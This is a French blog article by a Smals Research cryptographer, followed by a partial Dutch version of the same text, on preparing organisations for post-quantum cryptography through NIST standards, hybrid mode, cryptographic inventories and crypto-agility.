La cryptographie est la science qui applique des principes mathématiques en vue de sécuriser les données. Elle est indispensable dans notre société actuelle. Il suffit de penser aux communications sécurisées et à la signature électronique de toutes sortes de documents. Les algorithmes cryptographiques qui étaient autrefois considérés comme extrêmement sûrs sont aujourd’hui totalement inadaptés. Il faudra un jour, par exemple avec l’avènement probable de puissants ordinateurs quantiques, s’affranchir progressivement ou très rapidement des méthodes cryptographiques qui sont la norme aujourd’hui. Cet article examine les préparatifs que nous pouvons faire à cette fin.

La cryptographie sécurisée devient douteuse

Les mécanismes cryptographiques peuvent se dégrader pour diverses raisons, telles que l’augmentation de la puissance des ordinateurs, les percées dans le domaine de la cryptanalyse et – c’est ce qui nous préoccupe le plus aujourd’hui – la capacité de construire de puissants ordinateurs quantiques. 

Puissance de calcul

Une première raison est l’augmentation de la puissance de calcul disponible sur les ordinateurs classiques. En 1977, le DES (Data Encryption Standard) a été normalisé. Le DES offrait une sécurité de 56 bits, ce qui signifie qu’un attaquant devait rechercher la clé dans un espace de recherche de 2⁵⁶ (72 millions de milliards) possibilités. Actuellement, en raison notamment de l’augmentation exponentielle de la puissance de calcul disponible, et conformément à la loi de Moore, une sécurité minimale de 128 bits est exigée.  

Aujourd’hui, RSA-2048 est encore couramment utilisé pour l’authentification, l’échange de clés et les signatures électroniques, entre autres. Il figure encore aujourd’hui sur certaines cartes d’identité électroniques actives en Belgique. Avec la sécurité de 112 bits qu’il offre, il n’est pas immédiatement insécurisé, mais il est préférable de procéder à sa suppression progressive. Quoi qu’il en soit, il est vivement déconseillé de l’adopter dans de nouveaux systèmes.

Cryptanalyse

Les percées dans le domaine de la cryptanalyse constituent une deuxième raison pour laquelle les mécanismes cryptographiques peuvent perdre de leur sécurité. La cryptanalyse est l’art de trouver les faiblesses des méthodes cryptographiques. Pendant la Seconde Guerre mondiale, il a été crucial de déchiffrer Enigma, qui permettait auparavant au commandement nazi de communiquer en toute sécurité avec ses sous-marins. La cryptanalyse différentielle a également permis de réduire la sécurité du DES de 56 à 47 bits. Plus récemment, la cryptanalyse continue de jouer un rôle important. En 2008, par exemple, on est parvenu à générer un faux certificat TLS, parce que la fonction de hachage cryptographique sous-jacente, MD5, était devenue peu sûre à la suite de percées dans le domaine de la cryptanalyse.

Ordinateurs quantiques cryptographiquement pertinents

La menace d’ordinateurs quantiques devenant plus puissants d’année en année constitue une troisième menace, qui pourrait éventuellement rendre toute la cryptographie moderne à clé publique dangereuse.  Les signatures numériques, l’authentification par clé publique, les connexions TLS, etc. deviendraient alors totalement incertaines. Ces machines sont généralement appelées ordinateurs quantiques cryptographiquement pertinents.

Personne ne sait vraiment quand (ni même si) il sera possible de construire de tels ordinateurs quantiques. Même les experts ont des avis fortement divergents, comme le montre l’illustration ci-dessous, où 46 experts ont été interrogés en 2021. La moitié d’entre eux estimaient qu’il y avait au moins 50 % de chances qu’un tel ordinateur quantique soit construit d’ici 15 ans, c’est-à-dire d’ici 2036.

Cela ne veut cependant pas dire que nous pouvons attendre encore une dizaine d’années. Après tout, un attaquant peut aujourd’hui intercepter et stocker des communications chiffrées. Plusieurs années plus tard, si cet attaquant a accès à un ordinateur quantique pertinent sur le plan cryptographique, il pourrait toujours déchiffrer les données, qui pourraient encore être sensibles. C’est ce qu’on appelle l’attaque harvest now decrypt later.

Le BSI, l’agence allemande de cybersécurité, recommande de partir du principe que des ordinateurs quantiques pertinents sur le plan cryptographique seront disponibles au début de la prochaine décennie et d’en tenir compte dès aujourd’hui dans l’évaluation des risques. Il ne s’agit donc pas d’une prédiction, mais d’une ligne directrice prudente pour l’évaluation des risques.

Nouvelles normes et confiance

Il existe donc un risque important que des ordinateurs quantiques pertinents sur le plan cryptographique soient construits dans un avenir pas si lointain. Heureusement, le NIST (National Institute for Standards and Technologies) mène depuis 2016 une procédure de normalisation de la cryptographie post-quantique (PQC). Elle se compose de deux parties :

• L’encapsulation de clé (KEM) permet à deux parties de se mettre d’accord sur une clé partagée qui chiffre les données à échanger.
• Les signatures numériques permettent entre autres de signer des documents de manière électronique et d’authentifier les parties.

En août 2024, le NIST a publié les premières normes :

• ML-KEM, basé sur CRYSTALS-KYBER, est la première norme à résistance quantique pour l’encapsulation de clés.
• ML-DSA, basée sur CRYSTALS-Dilithium et SLH-DSA, basée sur Sphincs+, sont les deux premières normes de signatures numériques résistantes aux attaques quantiques. Une troisième norme est encore en cours d’élaboration. La future norme FN-DSA, basée sur Falcon, sera publiée dans les prochains mois. 

Dans un article précédent, j’ai donné une idée, entre autres, des performances auxquelles on peut s’attendre, ainsi que de la taille des clés et des signatures numériques.

Aux États-Unis, il existe déjà un solide engagement en faveur de ces nouvelles normes, comme en témoigne le Quantum Computing Cybersercurity Preparedness Act, signé en décembre 2022 par le président Biden. Il stipule qu’endéans les six mois, les agences fédérales doivent développer une stratégie pour leur migration vers une cryptographie résistante au quantum.

En Europe, nous sommes un peu plus prudents. La principale agence de cybersécurité en Allemagne, la BSI, déclare :

The quantum-safe algorithms that are currently being standardized are not yet as well researched as the “classical” methods (for example RSA and ECC). This applies in particular to weaknesses that largely only become apparent in applications, such as typical implementation errors, possible side-channel attacks, etc. BSI therefore recommends that post-quantum cryptography should not be used in isolation if possible, but only in hybrid mode, i.e. in combination with classical algorithms.

C’est un raisonnement valide. Fin 2016, le NIST a lancé, comme mentionné plus haut, une procédure de normalisation pour une cryptographie à clé publique résistante au quantum de nouvelle génération. En novembre 2017, 82 algorithmes candidats ont été soumis. SIKE était un des huit algorithmes candidats figurant parmi les finalistes. En 2022 – donc cinq ans plus tard – le groupe de recherche COSIC de la KU Leuven a découvert une faiblesse fondamentale, ce qui fait que le chiffrement à l’aide de SIKE pourrait être cassé en quelques minutes sur un ordinateur classique. Cette faiblesse est passée sous le radar de la communauté globale de cryptanalyse. Nous souhaitons éviter le scénario d’un changement massif vers un nouveau mécanisme cryptographique, qui ne s’avère pas aussi sûr que ce que l’on pensait. De plus, les implémentations encore jeunes de ces algorithmes peuvent contenir des vulnérabilités.

Il faudra donc un certain temps pour développer une confiance suffisante dans les nouvelles normes et leur mise en œuvre.

Mode hybride

Le BSI propose donc de travailler dans un premier temps en mode hybride, ce qui signifie que la cryptographie classique à clé publique soit utilisée en tandem avec une cryptographie résistante aux attaques quantiques. Lorsqu’un des deux algorithmes est jugé dangereux, il n’y a pas de problème tant que l’autre algorithme est sûr. Cette manière de travailler offre donc une double couche de protection.

Examinons concrètement comment cela fonctionne. Afin d’établir un canal de communication sécurisé, deux parties doivent convenir d’une clé partagée. Il s’agit d’une des étapes du protocole TLS. Aujourd’hui, la méthode Diffie-Hellman key exchange est souvent utilisée, où X25519 représente une instanciation concrète basée sur la courbe elliptique Curve25519 Diffie-Hellman n’est malheureusement pas capable de faire face aux ordinateurs quantiques cryptographiquement pertinents. La nouvelle norme ML-KEM, basée sur CRYSTALS-KYBER, est supposée l’être. Dans l’illustration ci-dessous, le client et le serveur se mettent d’accord sur deux clés partagées en parallèle, la clé orange est définie avec X25519, la verte avec CRYSTALS-KYBER. Ces deux clés sont ensuite combinées en une clé unique, qui est ensuite utilisée pour crypter et décrypter les données échangées.

Gouvernance cryptographique

Il existe divers mécanismes cryptographiques qui étaient autrefois populaires, mais qui ne sont pas sûrs aujourd’hui. DES, 3DES, MD5 et SHA1 en sont des exemples. Une migration de l’ancienne vers une nouvelle cryptographie est donc un fait dont nous devons tenir compte. De plus, l’histoire a démontré que les migrations cryptographiques complètes, telles que celle de 3DES vers AES, peuvent traîner pendant jusqu’à dix ans et nécessiter beaucoup de ressources. Une migration cryptographique est donc un processus difficile et délicat.

Un mode hybride entraîne en outre immédiatement deux migrations futures. La première consiste à passer de la cryptographie à clé publique actuelle au mode hybride. Une fois qu’une confiance suffisante a été développée dans les nouvelles normes et leurs implémentations, l’on migre vers une cryptographie entièrement résistante aux attaques quantiques.

Une gouvernance cryptographique saine nous aide à repérer les domaines dans lesquels les migrations sont les plus urgentes, ainsi qu’à effectuer la migration elle-même. La gouvernance cryptographique permet à une organisation de comprendre où et comment la cryptographie est utilisée et de mettre en œuvre et de surveiller les changements tels que les migrations. Elle se compose, entre autres, des pièces de puzzle ci-dessous :

• L’inventaire cryptographique offre une vue d’ensemble des mécanismes cryptographiques utilisés, avec quels paramètres (par exemple, la longueur des clés), dans quel but (par exemple, la protection des données en transit), où et afin de protéger quelles données (par exemple, les données médicales personnelles).
• Les recommandations cryptographiques concrètes ; quels algorithmes et paramètres cryptographiques (par exemple la longueur des clés) sont sûrs, lesquels devraient être progressivement abandonnés, lesquels ne sont pas sûrs, … De telles recommandations sont déjà présentes au sein de Smals et ont vu le jour grâce à Smals Research. Compte tenu de la menace que représentent les puissants ordinateurs quantiques, il est probable que la cryptographie classique à clé publique recommandée aujourd’hui devra être progressivement abandonnée dans un avenir pas si lointain.
• Documentation des exceptions. Des exceptions temporaires aux recommandations en matière de cryptographie peuvent être tolérées afin d’éviter que la communication avec des systèmes externes (par exemple des clients ou des prestataires de services) ne soit de facto impossible. Ces exceptions doivent être documentées ; le risque doit être décrit, ainsi que la portée, la fenêtre temporelle et son acceptation par la direction.
• Les recommendations de crypto-agilité doivent aider les équipes de projet à construire et à personnaliser les applications et les services selon les principes de crypto-agilité. Cela signifie que les futures migrations cryptographiques doivent être prises en compte.
• Une politique cryptographique est nécessaire pour éviter que les recommandations cryptographiques ne soient interprétées comme des suggestions sans valeur obligatoire, ce qui leur donnerait un caractère contraignant. En effet, la politique cryptographique de Smals fait référence à nos recommandations. Une politique cryptographique conduit à une simplification (uniformisation) du paysage cryptographique au sein de l’organisation. Elle peut guider la migration vers des normes résistantes aux attaques quantiques et encourager la création d’applications et de services d’une manière crypto-agile.
• Surveillance cryptographique. En observant le trafic réseau, nous percevons quels mécanismes cryptographiques sont utilisés et à quel endroit, ce qui peut aider à guider les migrations. Un tel monitoring ne nécessite heureusement pas l’accès aux données en transit.  

Smals Research a l’intention au cours de la période à venir de dresser un tableau plus précis de l’inventaire cryptographique et de la crypto-agilité en particulier. En effet, les principes de la crypto-agilité et l’idée de l’inventaire cryptographique existent aujourd’hui, mais l’élaboration concrète fait malheureusement encore défaut, non seulement chez Smals, mais dans le monde entier. D’une manière générale, nous avons donc encore du pain sur la planche.

Inventaire cryptographique

Un inventaire cryptographique peut fournir une vue d’ensemble, entre autres, des éléments suivants

• les mécanismes cryptographiques utilisés. Par exemple, ECDSA pour établir des signatures numériques ou AES pour le chiffrement en bulk.
• les paramètres utilisés dans le processus. Par exemple, l’ECDSA peut utiliser la courbe elliptique P-256 et l’AES peut être déployé en mode GCM avec des clés d’une longueur de 256 bits.
• les librairies ou services cryptographiques utilisés dans le processus. BouncyCastle 1.78 et OpenSSL 3.0 sont des exemples de librairies. Les exemples de services sont le service de pseudonymisation aveugle d’eHealth et AWS CloudHSM. 
• Quelles données sont protégées et dans quel but. Par exemple, l’intégrité et la confidentialité des données médicales au repos.
• L’endroit où la cryptographie est utilisée dans le code. Dans la classe AbcSigner, de la ligne 254 à la ligne 269.

En résumé, l’inventaire cryptographique nous permet de localiser rapidement les faiblesses ou les faiblesses potentielles et, par conséquent, les endroits où des mises à jour ou des migrations sont nécessaires.

L’inventaire n’est pas un exercice ponctuel, mais doit toujours être mis à jour. Des outils de découverte, tels que CipherInsights, IBM Quantum Safe Explorer, AgileSec Analytics et QryptoDiscover, entre autres, peuvent nous aider à le construire et à le tenir à jour. 

Un tel inventaire peut contenir de nombreux détails et devenir très complexe, en particulier pour les grandes organisations. La compilation et l’actualisation de cet inventaire risquent donc de devenir une opération très gourmande en ressources. Une organisation utilise par ailleurs, entre autres, des librairies cryptographiques, des services cryptographiques, du hardware de tiers, etc. Il est donc nécessaire de disposer d’un moyen structuré et normalisé d’exprimer un inventaire cryptographique qui facilite l’automatisation et l’intégration. C’est ce à quoi travaille IBM avec son CBOM (Cryptography Bill of Materials). Nous espérons que cette proposition sera adoptée rapidement.

Un inventaire cryptographique offrirait un certain nombre d’avantages en plus de la migration vers la cryptographie à résistance quantique :

Securité & résilience

Le risque cryptographique est la possibilité de dommages à l’organisation lorsque la cryptographie ne fait pas ce qu’elle est censée faire, notamment par l’utilisation de mécanismes cryptographiques obsolètes ou de paramètres non sécurisés, par une mauvaise gestion des clés et des certificats ou par des vulnérabilités dans les implémentations des algorithmes cryptographiques. Dans le OWASP top 10, un document de sensibilisation destiné aux développeurs et conernant la sécurité des applications web, les ‘cryptographic failures’ arrivent en deuxième position. En guise d’exemple, nous comptons les $150M+ Capital One hack comme la violation des données personnelles de millions d’utilisateurs à la suite d’un problème de gestion des clés, et le $200M+ Marriott Hotel hack, où une utilisation incomplète du cryptage a rendu publics des millions de numéros de passeports. L’inventaire cryptographique, éventuellement complété par une surveillance cryptographique, rend les risques cryptographiques transparents et contribue ainsi à prévenir de tels incidents. La crypto-agilité, à son tour, devrait nous permettre de migrer rapidement vers une cryptographie sécurisée.

Conformité

En partie à cause de ces incidents, les auditeurs se contentent de moins en moins d’informations superficielles sur l’utilisation de la cryptographie. Un inventaire cryptographique, éventuellement complété par des logs de surveillance cryptographique, leur permet d’accéder facilement à tous les détails concernant l’utilisation de la cryptographie au sein de l’organisation.

Il est donc logique que la possession et la tenue d’un inventaire cryptographique soient de plus en plus recommandées, voire imposées. Dans la publication conjointe de la NSA, du NIST et de la CISA Quantum Readiness :Migration To Post-quantum Cryptography, on peut lire, par exemple :

 “Organizations should create a cryptographic inventory that offers visibility into how the organization leverages cryptography in its IT (Information Technology) and OT (Operational Technology) systems. “

C’est surtout lorsque l’inventaire cryptographique peut être accompagné de recommandations cryptographiques détaillées que la compliance devient intéressante. Ces dernières, comme nous l’avons déjà mentionné, sont déjà présentes chez Smals grâce à Smals Research.

Crypto-agilité

Un inventaire cryptographique est une étape nécessaire vers l’agilité cryptographique, ou crypto-agilité en abrégé. Elle consiste à remplacer et à adapter les mécanismes cryptographiques, qu’il s’agisse de software, de hardware ou d’infrastructure, sans interrompre le bon fonctionnement du système lui-même. Ainsi, les anciens mécanismes cryptographiques peuvent être éliminés progressivement et de nouveaux mécanismes peuvent être adoptés.

En dépit de la difficulté à définir l’agilité cryptographique, la définition ci-dessous, qui se compose de trois aspects, semble assez précise.

• La capacité des systèmes à se mettre d’accord en temps réel sur leurs algorithmes de sécurité en se basant sur leurs fonctions de sécurité combinées (c’est-à-dire le matériel, les logiciels et les microprogrammes utilisés pour assurer la sécurité d’un système) ;
• La capacité d’ajouter de nouvelles fonctions cryptographiques ou de nouveaux algorithmes au matériel ou aux logiciels existants, ce qui permet d’obtenir de nouvelles fonctions de sécurité plus robustes ;
• la capacité de désactiver élégamment les systèmes cryptographiques devenus vulnérables ou obsolètes.

Un prochain article sera consacré à la manière de mettre en pratique l’agilité cryptographique plus concrètement et aux défis qui en découlent. En attendant, le protocole TLS peut nous inspirer. TLS est un protocole cryptographique conçu pour permettre une communication sécurisée entre deux parties sur un réseau informatique. Les deux parties conviennent entre elles des mécanismes cryptographiques qu’elles souhaitent utiliser pour l’authentification, l’échange de clés, le cryptage et le hachage. Chaque partie ne prend en charge que les mécanismes qu’elle juge sûrs. Ceci est décrit dans un fichier de configuration, qui nous permet d’ajouter de nouveaux mécanismes cryptographiques et de supprimer progressivement les anciens sans affecter le fonctionnement de l’application mère.

Conclusion

Les ordinateurs quantiques sont qualifiés de cryptographiquement pertinents lorsqu’ils sont en mesure de casser la cryptographie moderne à clé publique. Actuellement, nous en sommes encore loin et les incertitudes sont nombreuses. Nous ne savons même pas si l’humanité sera un jour capable de construire de telles machines. Néanmoins, il est sage de faire preuve de prudence et de se préparer à cette éventualité.

La menace que représentent actuellement les ordinateurs quantiques et la publication des nouvelles normes cryptographiques résistantes à la quantification sont donc une bonne raison de nous poser une question plus générale : comment pouvons-nous rendre notre gouvernance cryptographique plus naturelle, de manière à ce que

1. nous puissions mieux comprendre quelle cryptographie est utilisée au sein de l’organisation, et
2. nous soyons en mesure d’effectuer une migration relativement aisée si cela s’avère nécessaire.

Cela vaut indépendamment de la menace que représentent les puissants ordinateurs quantiques.

Smals effectue déjà ces préparatifs aujourd’hui. Nous disposons déjà de recommandations et d’une politique en matière de cryptographie. Toutefois, il reste encore beaucoup à faire, notamment en ce qui concerne l’inventaire cryptographique et l’adoption de la crypto-agilité. Ce sont des éléments sur lesquels Smals Research travaillera au cours de la période à venir.

Il y a encore beaucoup de questions et d’incertitudes aujourd’hui, qui ne doivent pas nous empêcher d’agir dès à présent. Nous pensons d’ailleurs que la publication des nouvelles normes du NIST accélérera les choses.

En résumé et en guise de conclusion, je citerai le Dr. Schabhüser, vice-président de la BSI allemande :

« Si je pouvais donner trois conseils aux entreprises et aux organisations, ce serait :

• Intégrez le risque cryptogrqphique  dans votre système de gestion de risque
• Créez un inventaire cryptographique
• Implémentez et utiliser la crypto-agilité »

N’hésitez pas à nous contacter pour davantage d’informations ou une éventuelle collaboration.

Cette contribution a été soumise par Kristof Verslype, cryptographe chez Smals Research. Elle a été rédigée en son nom propre et ne prend pas position au nom de Smals.

Cryptografie is de wetenschap die wiskundige principes toepast om gegevens te beveiligen. Het is onmisbaar in onze huidige samenleving. Denk maar aan veilige communicatie en het elektronisch ondertekenen van allerlei documenten. Cryptografische algoritmes die ooit als extreem veilig beschouwd werden, zijn vandaag volstrekt onvoldoende. Ooit zullen we – bijvoorbeeld door de komst van krachtige kwantumcomputers – geleidelijk of erg snel moeten migreren, weg van cryptografische methodes die vandaag de norm zijn. Dit artikel gaat in op de voorbereidingen die we daartoe kunnen treffen.

Veilige cryptografie wordt onveilig

Cryptografische mechanismes kunnen aan veiligheid inboeten omwille van diverse redenen, gaande van toegenomen computerkracht, doorbraken in cryptoanalyse en – dit is waar we ons vandaag het meeste zorgen over maken – de mogelijkheid om krachtige kwantumcomputers te bouwen. 

Rekenkracht

Een eerste reden is de toename aan beschikbare rekenkracht op klassieke computers. In 1977 werd DES (Date Encryption Standard) gestandaardiseerd. DES bood een veiligheid van 56 bit, wat wil zeggen dat een aanvaller op zoek gaat naar de sleutel in een zoekruimte met 2⁵⁶  (72 miljoen miljard) mogelijkheden. Onder meer door de exponentiële toename van de beschikbare rekenkracht, is vandaag, overeenkomstig de wet van Moore, minimum 128 bit security vereist.  

Vandaag wordt RSA-2048 nog vaak gebruikt voor onder meer authenticatie, sleuteluitwisseling en elektronische handtekeningen. Het is vandaag nog steeds op een deel van de actieve Belgische elektronische identiteitskaarten aanwezig. Met de 112 bit security die het biedt is het niet meteen onveilig, maar wordt het wel best uitgefaseerd. Sowieso is het geen goed idee om het in nieuwe systemen te adopteren.

Cryptoanalyse

Een tweede reden dat cryptografische mechanismes aan veiligheid kunnen inboeten zijn doorbraken in cryptoanalyse. Cryptoanalyse is de kunst om zwakheden te vinden in cryptografische methodes. Het was cruciaal in de 2^e wereldoorlog om Enigma te kraken, wat het Nazi commando voorheen toeliet veilig met hun duikboten te communiceren. Met behulp van differential cryptanalysis kon ook de veiligheid van DES gereduceerd worden van 56 naar 47 bits. Ook recenter blijft cryptoanalyse een rol spelen. In 2008, bijvoorbeeld slaagde men erin een vals TLS certificaat te genereren doordat de onderliggende cryptografische hashfunctie, MD5, onveilig geworden was door cryptoanalytische doorbraken.

Cryptografisch Relevante Kwantumcomputers

Ten derde is er de dreiging van kwantumcomputers die jaar na jaar krachtiger worden en op termijn alle moderne publieke sleutelcryptografie onveilig kunnen maken.  Dit zou resulteren in een situatie waarbij digitale handtekeningen, publieke-sleutel authenticatie, TLS verbindingen, etc. allen volstrekt onveilig worden. Men refereert doorgaans naar zo’n machines als cryptografisch relevante kwantumcomputers.

Niemand weet echt wanneer (en of) men in staat zal zijn dergelijke kwantumcomputers te bouwen. Zelfs de meningen onder experten zijn sterk verdeeld, zoals te zien is op onderstaande figuur, waarbij in 2021 46 experten geïnterviewd werden. Wel was de helft van de experten van oordeel dat er een kans was van minstens 50% dat er binnen 15 jaar – dus tegen 2036 – zo’n kwantumcomputer gebouwd zal worden.

Dit wil overigens niet zeggen dat we nog een kleine tien jaar kunnen wachten. Een aanvaller kan namelijk vandaag vercijferde communicatie onderscheppen en bewaren. Wanneer de aanvaller een aantal jaar later de beschikking heeft over een cryptografisch relevante kwantumcomputer kan hij of zij alsnog de data ontcijferen, die dan nog steeds gevoelig kan zijn. Dit wordt de harvest now decrypt later aanval genoemd.

Het BSI, het Duitse cybersecurityagentschap raadt aan om ervan uit te gaan dat cryptografisch relevante kwantumcomputers beschikbaar zullen zijn tegen het begin van het volgend decennium en om dit vandaag reeds mee te nemen in risicobeoordelingen. Dit is dus geen voorspelling, maar een conservatieve richtlijn voor risicobeoordeling.

Nieuwe standaarden en vertrouwen

Et is dus een aanzienlijk risico dat in de niet zo heel verre toekomst cryptografisch relevante kwantumcomuters gebouwd zullen worden. Gelukkig loopt er bij het NIST (National Institute for Standards and Technologies) sinds 2016 een procedure om post-quantum cryptografie (PQC) te standaardiseren. Het bestaat uit twee luiken:

• Key encapsulation laat twee partijen toe om een gedeelde sleutel overeen te komen waarmee de uit te wisselen data vercijferd wordt.
• Digitale handtekeningen laten onder meer toe om documenten elektronisch te ondertekenen en om partijen te authenticeren.

In augustus 2024 publiceerde het NIST de eerste standaarden:

• ML-KEM, gebaseerd op CRYSTALS-KYBER, is de eerste kwantumresistente standaard voor key encapsulation.
• ML-DSA, gebaseerd op CRYSTALS-Dilithium en SLH-DSA, gebaseerd op Sphincs+, zijn de twee eerste kwantumresistente standaarden voor digitale handtekeningen. Een derde standaard zit nog in de pijplijn. De toekomstige standaard FN-DSA, gebaseerd op Falcon, wordt in de komende maanden gepubliceerd. 

In een eerdere blogpost geef ik alvast een idee onder meer van de performantie die we kunnen verwachten, alsook van de groottes van sleutels en digitale handtekeningen.

In de Verenigde Staten zet men alvast volop in op deze nieuwe standaarden, zoals ook blijkt uit de Quantum Computing Cybersecurity Preparedness Act die in december 2022 door president Biden ondertekend werd. Daarin wordt gesteld dat federale agentschappen binnen de zes maand een strategie moeten ontwikkelen voor hun migratie naar kwantumresistente cryptografie.

In Europa is men wat voorzichter. Het BSI, het toonaangevende Duitse cybersecurityagentschap, stelt:

The quantum-safe algorithms that are currently being standardized are not yet as well researched as the “classical” methods (for example RSA and ECC). This applies in particular to weaknesses that largely only become apparent in applications, such as typical implementation errors, possible side-channel attacks, etc. BSI therefore recommends that post-quantum cryptography should not be used in isolation if possible, but only in hybrid mode, i.e. in combination with classical algorithms.

Dit is een terechte redenering. Eind 2016 startte het NIST, zoals eerder aangegeven, een standaardisatieprocedure voor een nieuwe generatie, kwantumresistente publieke sleutelcryptografie. Tegen november 2017 werden 82 kandidaat algoritmes ingestuurd. SIKE was één van de acht kandidaat algoritmes die tot de finalisten behoorden. In 2022 – dus vijf jaar later – vond de COSIC onderzoeksgroep aan de KU Leuven een fundamentele zwakte, waardoor vercijfering m.b.v. SIKE in een paar minuten op een klassieke computer gebroken kon worden. Al die jaren bleef deze zwakte onder de radar van de wereldwijde cryptoanalyse community. We willen het scenario vermijden waarbij we massaal overschakelen naar een nieuw cryptografisch mechanisme, dat dan blijkbaar toch niet zo veilig is als aangenomen. Bovendien kunnen de nog jonge implementaties van deze algoritmes kwetsbaarheden bevatten.

Het zal dus nog wat tijd kosten om voldoende vertrouwen in de nieuwe standaarden en hun implementies te ontwikkelen.

Hybride modus

Het BSI stelt dus voor om initieel in hybride modus te werken, wat wil zeggen dat klassieke publieke sleutelcryptografie in tandem gebruikt wordt met kwantumresistente cryptografie. Wanneer één van beide algoritmes onveilig blijkt te zijn, is er niets aan de hand zolang het andere algoritme nog veilig is. Het biedt dus een dubbele beschermlaag.

Laat ons even concreet bekijken hoe dit in zijn werk gaat. Om een veilig communicatiekanaal op te zetten, moeten twee partijen een gedeelde sleutel afspreken. Dit is één van de stappen in het TLS protocol. Vandaag wordt daarvoor vaak de Diffie-Hellman key exchange methode gebruikt. X25519 is daar een concrete instantiatie van, gebaseerd op de elliptische kromme Curve25519. Diffie-Hellman is helaas niet opgewassen tegen cryptografisch relevante kwantumcomputers. De nieuwe standaard ML-KEM, gebaseerd op CRYSTALS-KYBER, wordt verondersteld dit wel te zijn. In onderstaande figuur spreken de client en de server in parallel twee gedeelde sleutels af; de oranje sleutel wordt afgesproken met X25519, de groene met CRYSTALS-KYBER. Die twee sleutels worden vervolgens gecombineerd tot één sleutel, waarmee vervolgens de uitgewisselde data vercijferd en ontcijferd zal worden.

Cryptographic Governance

Er zijn verschillende cryptografische mechanismes die ooit populair waren, maar vandaag onveilig zijn. Voorbeelden zijn DES, 3DES, MD5 en SHA1. Migratie van oude naar nieuwe cryptografie is dus een gegeven waar we rekening mee moeten houden. Bovendien heeft de geschiedenis ondertussen aangetoond dat volledige cryptografische migraties, zoals die van 3DES naar AES, tien jaar kunnen aanslepen en best veel resources vergen. Een cryptografische migratie is dan ook een lastig en moeilijk traject.

Een hybride modus resulteert bovendien meteen in twee toekomstige migraties. In eerste instantie wordt gemigreerd van de huidige publieke sleutelcryptografie naar hybride modus. Eens voldoende vertrouwen ontwikkeld is in de nieuwe standaarden en hun implementaties, wordt vervolgens gemigreerd naar uitsluitend kwantumresistente cryptografie.

Een gedegen cryptographic governance helpt ons alvast bij het detecteren waar migraties het dringends zijn, alsook bij het uitvoeren van de migratie zelf. Cryptographic governance laat een organisatie toe te begrijpen waar en hoe cryptografie gebruikt wordt en om veranderingen zoals migraties uit te voeren en te monitoren. Het bestaat uit onder meer onderstaande puzzelstukjes:

• De cryptografische inventaris biedt een overzicht van welke cryptografische mechanismes met welke parameters (vb. sleutellengte) gebruikt worden, voor welk doel (vb. bescherming data in transit), waar en om welke data te beschermen (vb. medische persoonsgegevens).
• Concrete cryptografische aanbevelingen; welke cryptografische algoritmes en parameters (vb. sleutellengtes)  zijn veilig, welke dienen uitgefaseerd te worden, welke zijn onveilig, … Dergelijke aanbevelingen zijn reeds aanwezig binnen Smals en zijn tot stand gekomen dankzij Smals Research. Gegeven de dreiging die uitgaat van krachtige kwantumcomputers, is het waarschijnlijk dat de klassieke publieke sleutelcryptografie die vandaag aanbevolen wordt in de niet zo verre toekomst uitgefaseerd zal moeten worden.
• Documentatie van de uitzonderingen. Om communicatie met externe systemen (vb. van klanten of aanbieders van diensten) niet de facto onmogelijk te maken, kunnen tijdelijk uitzonderingen op de cryptografische aanbevelingen getolereerd worden. Dergelijke uitzonderingen dienen te worden gedocumenteerd; het risico wordt beschreven, de scope, het tijdsvenster en de goedkeuring (acceptatie) van het risico door het management.
• Crypto agility guidance moet project teams ondersteuning bieden bij het bouwen en aanpassen van toepassingen en diensten volgens de principes van cryptographic agility. Dat wil zeggen op zo’n manier dat rekening gehouden wordt met toekomstige cryptografische migraties.
• Een cryptografische policy is nodig om te vermijden dat de cryptografische aanbevelingen als vrijblijvende suggesties geïnterpreteerd worden en geeft hen dus een dwingend karakter. De cryptografische policy van Smals verwijst inderdaad naar onze aanbevelingen. Een cryptografische policy leidt tot een vereenvoudiging (uniformisering) van het crypto landschap binnen de organisatie. Het kan richting geven aan de migratie naar kwantumresistente standaarden, en de bouw van applicaties en diensten op een crypto-agile manier stimuleren.
• Cryptographic monitoring. Door het observeren van netwerkverkeer, kunnen we een inzicht krijgen in welke cryptografische mechanismes waar gebruikt worden en kan het helpen bij het uitvoeren van migraties. Dergelijke monitoring vereist gelukkig geen toegang tot de data in transit zelf.  

In het bijzonder over de cryptogafische inventaris en crypto-agility wil Smals Research zich in de komende periode een scherper beeld vormen. Het is vandaag inderdaad zo dat de principes van crypto-agility en het idee van de cryptografische inventaris er wel zijn, maar dat de concrete uitwerking helaas nog wat ontbreekt, niet enkel bij Smals, maar wereldwijd. In het algemeen is er dus nog werk aan de winkel.

Cryptografische inventaris

Een cryptografische inventaris kan een overzicht bieden van onder meer:

• welke cryptografische mechanismes gebruikt worden. Bijvoorbeeld ECDSA om digitale handtekeningen te plaatsen of AES voor bulk vercijfering.
• welke parameters daarbij gebruikt worden. ECDSA kan bijvoorbeeld gebruik maken van de elliptische kromme P-256 en AES kan ingezet worden in GCM modus met sleutels met een lengte van 256 bits.
• welke cryptografische libraries of services daarbij gebruikt worden. Voorbeelden van libraries zijn BouncyCastle 1.78, en OpenSSL 3.0. Voorbeelden van services zijn de blinde pseudonimiseringsdienst van eHealth en AWS CloudHSM. 
• welke data er beschermd wordt en met welk doel. Bijvoorbeeld integriteit en confidentialiteit van  medische data at rest.
• Waar in de code gebruik gemaakt wordt van cryptografie. In de klasse AbcSigner van regel 254 tot regel 269.

Samengevat laat de cryptografische inventaris ons toe snel te lokaliseren waar zwakheden of mogelijke zwakheden zich lokaliseren en waar dus updates of migraties moeten gebeuren.

De inventaris is geen eenmalige oefening maar moet steeds geactualiseerd blijven. Discovery tools, zoals onder meer CipherInsights, IBM Quantum Safe Explorer, AgileSec Analytics en QryptoDiscover, kunnen ons helpen bij zowel het opbouwen als het up-to-date houden. 

Zo’n inventaris kan veel details bevatten en, zeker voor wat grotere organisaties, erg complex worden. Het samenstellen en up-to-date houden dreigt dus een erg resource-intensieve operatie te worden. Bovendien maakt een organisatie gebruik van onder meer cryptografische libraries, cryptografische services, hardware van derden, etc. Er is dus nood aan een gestructureerde, gestandaardiseerde manier om een cryptografische inventaris uit te drukken, die automatisering en integratie faciliteert. Dit is waar IBM aan werkt met hun CBOM (cryptography Bill of Materials). We hopen alvast dat dit snel geadopteerd zal worden.

Een cryptografische inventaris zou alvast een aantal voordelen bieden, naast de migratie naar kwantumresistente cryptografie:

Security & resilience

